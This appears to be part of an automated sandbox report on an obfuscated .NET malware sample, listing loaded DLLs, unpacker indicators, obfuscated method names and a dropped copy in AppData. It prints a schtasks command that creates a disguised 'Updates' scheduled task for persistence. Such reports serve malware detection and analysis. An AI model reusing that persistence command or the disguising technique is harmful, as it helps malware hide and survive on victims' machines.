Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RgIbrhxoEx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RgIbrhxoEx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: RgIbrhxoEx.exe, StatGrapher.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: LjGABleGAy.exe.0.dr, StatGrapher.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.RgIbrhxoEx.exe.5270000.5.raw.unpack, bg.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, A8wQQPxStWJpqrtu18.cs	.Net Code: mFUTmlPCn6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, A8wQQPxStWJpqrtu18.cs	.Net Code: mFUTmlPCn6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, A8wQQPxStWJpqrtu18.cs	.Net Code: mFUTmlPCn6 System.Reflection.Assembly.Load(byte[])

Source: RgIbrhxoEx.exe	Static PE information: section name: .text entropy: 7.9275615283647385
Source: LjGABleGAy.exe.0.dr	Static PE information: section name: .text entropy: 7.9275615283647385

Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, RdaVC8vAVRBSh8dNl4.cs	High entropy of concatenated method names: 'GE9pCZ3tRK', 'thVps9ROyc', 'XLupaO1JWy', 'FZWpvD7KCE', 'BIipAGJX9Z', 'KWdp4HoDJX', 'A8BpSVswg3', 'NmjpiVA4AG', 'SJjpr4tvKW', 'vN3pBL6Ma2'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, FYePTKPppX1pL8MWjG.cs	High entropy of concatenated method names: 'rWQA9up4cr', 'LVRAX6Jg1U', 'L7XAPwv0HU', 'XWQA69mPa3', 't6cAwCh6uG', 'd7lAQdTwcV', 'Fs5AG9aMlw', 'XlnAnCsmYw', 'ehCARJkrw3', 'wyxADRnJb9'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, tluVmiTalSJc5mJhQH.cs	High entropy of concatenated method names: 'DdZMqjapGc', 'saYMxOORK0', 'eAVMgRBSh8', 'SNlMc4iwCe', 'FBiMA4cKP4', 'BRbM4MU9Rk', 'eM5GP4V1Zb9XLv3fk3', 'LeArr5yYMCtgPgfnvq', 'wGnMMj5Cuo', 'GxcMtHd0Qw'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, UjapGcaBaYOORK0HUJ.cs	High entropy of concatenated method names: 'fUnIPfN6KE', 'OANI6yyO0R', 'YyhIdLpkRG', 'XbIIHRwHQx', 'SYwIO5it7h', 'JxLIZDgoo1', 'm6SIbqNa1M', 'yN6IyuOR1X', 'BsvIjURsKx', 'xYJI5SVfUQ'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, v3grVy54o4iBnIfO0H.cs	High entropy of concatenated method names: 'VQfrM1ZIkn', 'M9Art6V3wp', 'lG3rTnisVp', 'mTgrkxX4YY', 'sX5rIww28C', 'Pj0r0lGLy2', 'YoVroKgYA0', 'axoib4csW5', 'fORiy04hjC', 'YkPijmllee'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, rwCepLlUfgLqGlBi4c.cs	High entropy of concatenated method names: 'fyV01Zgm3Y', 'pxr0L2YODB', 'nmjpQ6Uiqi', 'q0spGIga7J', 'MAVpnG5wSy', 'wfJpRWn7pu', 'HBspDAvkRZ', 'aL0putu1Dm', 'BdapVvaTBe', 'Nqqp9kvejt'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, oTb2dLEqtrBQAnuZf0.cs	High entropy of concatenated method names: 'Qn7WakdZLU', 'mfyWvqdDnB', 'BbuW2RFxoe', 'FeYWwdxpTb', 'F0YWGT2n61', 'lghWn7XUvR', 'Q6nWDTjMn9', 'sPuWudnvhG', 't7xW95NIE8', 'cmMWNP8x5f'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, miXaaIZp9TTYEDwgGH.cs	High entropy of concatenated method names: 'vqsSyaci7G', 'W6SS55GCg5', 'ubZiKHWEAA', 'ECRiMkdT2U', 'jS9SN4rgln', 'HPySX13SSB', 'FqLSElSvpu', 'ncvSPYfxmx', 'swXS6Mus2t', 'bE2SdwhRLQ'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, cUrp35yXQ3c5piSn2O.cs	High entropy of concatenated method names: 'vcvikcA4xm', 'WPNiIJrHDL', 'Oe6ipbJnV0', 'b2ti0ndErL', 'kVhioIExc3', 'c0NiqNmc1l', 'CNPixDwBYD', 'oDOie4Lcr9', 'KOdigWsMPP', 'wbWic3bRke'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, A8wQQPxStWJpqrtu18.cs	High entropy of concatenated method names: 'rckt8ETmD1', 'b23tkvnnO9', 'UtMtI5poFs', 'xDXtptB6BW', 'qvut06vYMO', 'QTMto0cXRp', 'E3VtqWNCku', 'lfFtx7thyx', 'JBFteBlSSW', 'xGYtgoLZ5m'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, d5xGCIYeXrCGF0aQYG.cs	High entropy of concatenated method names: 'sOdmyEy3M', 'tPoCB4cGo', 'iGmswyXPR', 'xemLrw0bd', 'W7WvXMhFP', 'MtFlKlvcO', 'rtwlEg0CrIUNCi3Pg0', 'o4x3xsjM4vlTxBwGDk', 'HjQGSnCvcbtHkH1unr', 'rSfiBLOYw'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, vI0bFBItbBVmhEGKUA.cs	High entropy of concatenated method names: 'Dispose', 'IpfMjpIkxZ', 'GBiYwWLOlE', 'sC0ggCZRqc', 'htUM5rp35X', 'I3cMz5piSn', 'ProcessDialogKey', 'FOhYKXJkGH', 'FbtYMYbCtf', 'B6PYYF3grV'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, teGgZqMKAB1ymEk7wmJ.cs	High entropy of concatenated method names: 'LGJrfcoH0a', 'uLWrhP4b7W', 'yvLrmMjBQT', 'zyMrCyDj13', 'LV2r1QCFw5', 'AmkrsOR1hn', 'GdfrLEFMuP', 'xg9rara6pU', 'a2yrvo1HpB', 'stsrlAOLZ7'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, pCP4HxzZW8CO7UhW4b.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'avHrWFlh0d', 'yGnrA1SmfG', 'Idvr4yg2Lm', 'lawrSDOh11', 'jb8riH3P8J', 'csirrVabpB', 'kOHrBkAl1U'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, a82EhBMtPHAWTw6PSNj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'igwBPIQfJV', 'eWIB6ZFb3J', 'fJ1Bdd6ono', 'lrfBHjLgb5', 'mDJBOseQLE', 'MRGBZLgwXe', 'vKBBblkd0c'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, aP41Rb2MU9RkwkW9m8.cs	High entropy of concatenated method names: 'AOVo8m7tyv', 'ftyoIvqwfY', 'zOCo0uEWf1', 'pDcoqIo4Gn', 'zK3oxVfGSH', 'J8f0OpkmhJ', 'zXX0ZuYHmV', 'nni0blgEwu', 'Jvo0yiG5To', 'wTC0jM2vom'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, zXJkGHjlbtYbCtf16P.cs	High entropy of concatenated method names: 'GMUi2l0yjI', 'KXgiwpIypI', 'wjTiQhFeZ7', 'GkYiGn0vOL', 'nZ9iP7Zvt2', 'g7Einf9REf', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, JdhmicVP8EU7GciB18.cs	High entropy of concatenated method names: 'l26qf89fwX', 'VudqhaVUg9', 'KAbqmSuyGm', 'hpIqCGfENk', 'UFFq1TlwvE', 'cbMqsbEXP5', 'mPZqLw65nT', 'y2Aqa3mQ1G', 'TJ6qvFmjc5', 'mbYql8QwMe'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, RdaVC8vAVRBSh8dNl4.cs	High entropy of concatenated method names: 'GE9pCZ3tRK', 'thVps9ROyc', 'XLupaO1JWy', 'FZWpvD7KCE', 'BIipAGJX9Z', 'KWdp4HoDJX', 'A8BpSVswg3', 'NmjpiVA4AG', 'SJjpr4tvKW', 'vN3pBL6Ma2'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, FYePTKPppX1pL8MWjG.cs	High entropy of concatenated method names: 'rWQA9up4cr', 'LVRAX6Jg1U', 'L7XAPwv0HU', 'XWQA69mPa3', 't6cAwCh6uG', 'd7lAQdTwcV', 'Fs5AG9aMlw', 'XlnAnCsmYw', 'ehCARJkrw3', 'wyxADRnJb9'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, tluVmiTalSJc5mJhQH.cs	High entropy of concatenated method names: 'DdZMqjapGc', 'saYMxOORK0', 'eAVMgRBSh8', 'SNlMc4iwCe', 'FBiMA4cKP4', 'BRbM4MU9Rk', 'eM5GP4V1Zb9XLv3fk3', 'LeArr5yYMCtgPgfnvq', 'wGnMMj5Cuo', 'GxcMtHd0Qw'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, UjapGcaBaYOORK0HUJ.cs	High entropy of concatenated method names: 'fUnIPfN6KE', 'OANI6yyO0R', 'YyhIdLpkRG', 'XbIIHRwHQx', 'SYwIO5it7h', 'JxLIZDgoo1', 'm6SIbqNa1M', 'yN6IyuOR1X', 'BsvIjURsKx', 'xYJI5SVfUQ'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, v3grVy54o4iBnIfO0H.cs	High entropy of concatenated method names: 'VQfrM1ZIkn', 'M9Art6V3wp', 'lG3rTnisVp', 'mTgrkxX4YY', 'sX5rIww28C', 'Pj0r0lGLy2', 'YoVroKgYA0', 'axoib4csW5', 'fORiy04hjC', 'YkPijmllee'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, rwCepLlUfgLqGlBi4c.cs	High entropy of concatenated method names: 'fyV01Zgm3Y', 'pxr0L2YODB', 'nmjpQ6Uiqi', 'q0spGIga7J', 'MAVpnG5wSy', 'wfJpRWn7pu', 'HBspDAvkRZ', 'aL0putu1Dm', 'BdapVvaTBe', 'Nqqp9kvejt'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, oTb2dLEqtrBQAnuZf0.cs	High entropy of concatenated method names: 'Qn7WakdZLU', 'mfyWvqdDnB', 'BbuW2RFxoe', 'FeYWwdxpTb', 'F0YWGT2n61', 'lghWn7XUvR', 'Q6nWDTjMn9', 'sPuWudnvhG', 't7xW95NIE8', 'cmMWNP8x5f'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, miXaaIZp9TTYEDwgGH.cs	High entropy of concatenated method names: 'vqsSyaci7G', 'W6SS55GCg5', 'ubZiKHWEAA', 'ECRiMkdT2U', 'jS9SN4rgln', 'HPySX13SSB', 'FqLSElSvpu', 'ncvSPYfxmx', 'swXS6Mus2t', 'bE2SdwhRLQ'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, cUrp35yXQ3c5piSn2O.cs	High entropy of concatenated method names: 'vcvikcA4xm', 'WPNiIJrHDL', 'Oe6ipbJnV0', 'b2ti0ndErL', 'kVhioIExc3', 'c0NiqNmc1l', 'CNPixDwBYD', 'oDOie4Lcr9', 'KOdigWsMPP', 'wbWic3bRke'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, A8wQQPxStWJpqrtu18.cs	High entropy of concatenated method names: 'rckt8ETmD1', 'b23tkvnnO9', 'UtMtI5poFs', 'xDXtptB6BW', 'qvut06vYMO', 'QTMto0cXRp', 'E3VtqWNCku', 'lfFtx7thyx', 'JBFteBlSSW', 'xGYtgoLZ5m'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, d5xGCIYeXrCGF0aQYG.cs	High entropy of concatenated method names: 'sOdmyEy3M', 'tPoCB4cGo', 'iGmswyXPR', 'xemLrw0bd', 'W7WvXMhFP', 'MtFlKlvcO', 'rtwlEg0CrIUNCi3Pg0', 'o4x3xsjM4vlTxBwGDk', 'HjQGSnCvcbtHkH1unr', 'rSfiBLOYw'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, vI0bFBItbBVmhEGKUA.cs	High entropy of concatenated method names: 'Dispose', 'IpfMjpIkxZ', 'GBiYwWLOlE', 'sC0ggCZRqc', 'htUM5rp35X', 'I3cMz5piSn', 'ProcessDialogKey', 'FOhYKXJkGH', 'FbtYMYbCtf', 'B6PYYF3grV'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, teGgZqMKAB1ymEk7wmJ.cs	High entropy of concatenated method names: 'LGJrfcoH0a', 'uLWrhP4b7W', 'yvLrmMjBQT', 'zyMrCyDj13', 'LV2r1QCFw5', 'AmkrsOR1hn', 'GdfrLEFMuP', 'xg9rara6pU', 'a2yrvo1HpB', 'stsrlAOLZ7'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, pCP4HxzZW8CO7UhW4b.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'avHrWFlh0d', 'yGnrA1SmfG', 'Idvr4yg2Lm', 'lawrSDOh11', 'jb8riH3P8J', 'csirrVabpB', 'kOHrBkAl1U'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, a82EhBMtPHAWTw6PSNj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'igwBPIQfJV', 'eWIB6ZFb3J', 'fJ1Bdd6ono', 'lrfBHjLgb5', 'mDJBOseQLE', 'MRGBZLgwXe', 'vKBBblkd0c'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, aP41Rb2MU9RkwkW9m8.cs	High entropy of concatenated method names: 'AOVo8m7tyv', 'ftyoIvqwfY', 'zOCo0uEWf1', 'pDcoqIo4Gn', 'zK3oxVfGSH', 'J8f0OpkmhJ', 'zXX0ZuYHmV', 'nni0blgEwu', 'Jvo0yiG5To', 'wTC0jM2vom'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, zXJkGHjlbtYbCtf16P.cs	High entropy of concatenated method names: 'GMUi2l0yjI', 'KXgiwpIypI', 'wjTiQhFeZ7', 'GkYiGn0vOL', 'nZ9iP7Zvt2', 'g7Einf9REf', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, JdhmicVP8EU7GciB18.cs	High entropy of concatenated method names: 'l26qf89fwX', 'VudqhaVUg9', 'KAbqmSuyGm', 'hpIqCGfENk', 'UFFq1TlwvE', 'cbMqsbEXP5', 'mPZqLw65nT', 'y2Aqa3mQ1G', 'TJ6qvFmjc5', 'mbYql8QwMe'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, RdaVC8vAVRBSh8dNl4.cs	High entropy of concatenated method names: 'GE9pCZ3tRK', 'thVps9ROyc', 'XLupaO1JWy', 'FZWpvD7KCE', 'BIipAGJX9Z', 'KWdp4HoDJX', 'A8BpSVswg3', 'NmjpiVA4AG', 'SJjpr4tvKW', 'vN3pBL6Ma2'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, FYePTKPppX1pL8MWjG.cs	High entropy of concatenated method names: 'rWQA9up4cr', 'LVRAX6Jg1U', 'L7XAPwv0HU', 'XWQA69mPa3', 't6cAwCh6uG', 'd7lAQdTwcV', 'Fs5AG9aMlw', 'XlnAnCsmYw', 'ehCARJkrw3', 'wyxADRnJb9'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, tluVmiTalSJc5mJhQH.cs	High entropy of concatenated method names: 'DdZMqjapGc', 'saYMxOORK0', 'eAVMgRBSh8', 'SNlMc4iwCe', 'FBiMA4cKP4', 'BRbM4MU9Rk', 'eM5GP4V1Zb9XLv3fk3', 'LeArr5yYMCtgPgfnvq', 'wGnMMj5Cuo', 'GxcMtHd0Qw'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, UjapGcaBaYOORK0HUJ.cs	High entropy of concatenated method names: 'fUnIPfN6KE', 'OANI6yyO0R', 'YyhIdLpkRG', 'XbIIHRwHQx', 'SYwIO5it7h', 'JxLIZDgoo1', 'm6SIbqNa1M', 'yN6IyuOR1X', 'BsvIjURsKx', 'xYJI5SVfUQ'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, v3grVy54o4iBnIfO0H.cs	High entropy of concatenated method names: 'VQfrM1ZIkn', 'M9Art6V3wp', 'lG3rTnisVp', 'mTgrkxX4YY', 'sX5rIww28C', 'Pj0r0lGLy2', 'YoVroKgYA0', 'axoib4csW5', 'fORiy04hjC', 'YkPijmllee'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, rwCepLlUfgLqGlBi4c.cs	High entropy of concatenated method names: 'fyV01Zgm3Y', 'pxr0L2YODB', 'nmjpQ6Uiqi', 'q0spGIga7J', 'MAVpnG5wSy', 'wfJpRWn7pu', 'HBspDAvkRZ', 'aL0putu1Dm', 'BdapVvaTBe', 'Nqqp9kvejt'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, oTb2dLEqtrBQAnuZf0.cs	High entropy of concatenated method names: 'Qn7WakdZLU', 'mfyWvqdDnB', 'BbuW2RFxoe', 'FeYWwdxpTb', 'F0YWGT2n61', 'lghWn7XUvR', 'Q6nWDTjMn9', 'sPuWudnvhG', 't7xW95NIE8', 'cmMWNP8x5f'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, miXaaIZp9TTYEDwgGH.cs	High entropy of concatenated method names: 'vqsSyaci7G', 'W6SS55GCg5', 'ubZiKHWEAA', 'ECRiMkdT2U', 'jS9SN4rgln', 'HPySX13SSB', 'FqLSElSvpu', 'ncvSPYfxmx', 'swXS6Mus2t', 'bE2SdwhRLQ'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, cUrp35yXQ3c5piSn2O.cs	High entropy of concatenated method names: 'vcvikcA4xm', 'WPNiIJrHDL', 'Oe6ipbJnV0', 'b2ti0ndErL', 'kVhioIExc3', 'c0NiqNmc1l', 'CNPixDwBYD', 'oDOie4Lcr9', 'KOdigWsMPP', 'wbWic3bRke'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, A8wQQPxStWJpqrtu18.cs	High entropy of concatenated method names: 'rckt8ETmD1', 'b23tkvnnO9', 'UtMtI5poFs', 'xDXtptB6BW', 'qvut06vYMO', 'QTMto0cXRp', 'E3VtqWNCku', 'lfFtx7thyx', 'JBFteBlSSW', 'xGYtgoLZ5m'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, d5xGCIYeXrCGF0aQYG.cs	High entropy of concatenated method names: 'sOdmyEy3M', 'tPoCB4cGo', 'iGmswyXPR', 'xemLrw0bd', 'W7WvXMhFP', 'MtFlKlvcO', 'rtwlEg0CrIUNCi3Pg0', 'o4x3xsjM4vlTxBwGDk', 'HjQGSnCvcbtHkH1unr', 'rSfiBLOYw'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, vI0bFBItbBVmhEGKUA.cs	High entropy of concatenated method names: 'Dispose', 'IpfMjpIkxZ', 'GBiYwWLOlE', 'sC0ggCZRqc', 'htUM5rp35X', 'I3cMz5piSn', 'ProcessDialogKey', 'FOhYKXJkGH', 'FbtYMYbCtf', 'B6PYYF3grV'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, teGgZqMKAB1ymEk7wmJ.cs	High entropy of concatenated method names: 'LGJrfcoH0a', 'uLWrhP4b7W', 'yvLrmMjBQT', 'zyMrCyDj13', 'LV2r1QCFw5', 'AmkrsOR1hn', 'GdfrLEFMuP', 'xg9rara6pU', 'a2yrvo1HpB', 'stsrlAOLZ7'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, pCP4HxzZW8CO7UhW4b.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'avHrWFlh0d', 'yGnrA1SmfG', 'Idvr4yg2Lm', 'lawrSDOh11', 'jb8riH3P8J', 'csirrVabpB', 'kOHrBkAl1U'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, a82EhBMtPHAWTw6PSNj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'igwBPIQfJV', 'eWIB6ZFb3J', 'fJ1Bdd6ono', 'lrfBHjLgb5', 'mDJBOseQLE', 'MRGBZLgwXe', 'vKBBblkd0c'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, aP41Rb2MU9RkwkW9m8.cs	High entropy of concatenated method names: 'AOVo8m7tyv', 'ftyoIvqwfY', 'zOCo0uEWf1', 'pDcoqIo4Gn', 'zK3oxVfGSH', 'J8f0OpkmhJ', 'zXX0ZuYHmV', 'nni0blgEwu', 'Jvo0yiG5To', 'wTC0jM2vom'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, zXJkGHjlbtYbCtf16P.cs	High entropy of concatenated method names: 'GMUi2l0yjI', 'KXgiwpIypI', 'wjTiQhFeZ7', 'GkYiGn0vOL', 'nZ9iP7Zvt2', 'g7Einf9REf', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, JdhmicVP8EU7GciB18.cs	High entropy of concatenated method names: 'l26qf89fwX', 'VudqhaVUg9', 'KAbqmSuyGm', 'hpIqCGfENk', 'UFFq1TlwvE', 'cbMqsbEXP5', 'mPZqLw65nT', 'y2Aqa3mQ1G', 'TJ6qvFmjc5', 'mbYql8QwMe'

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
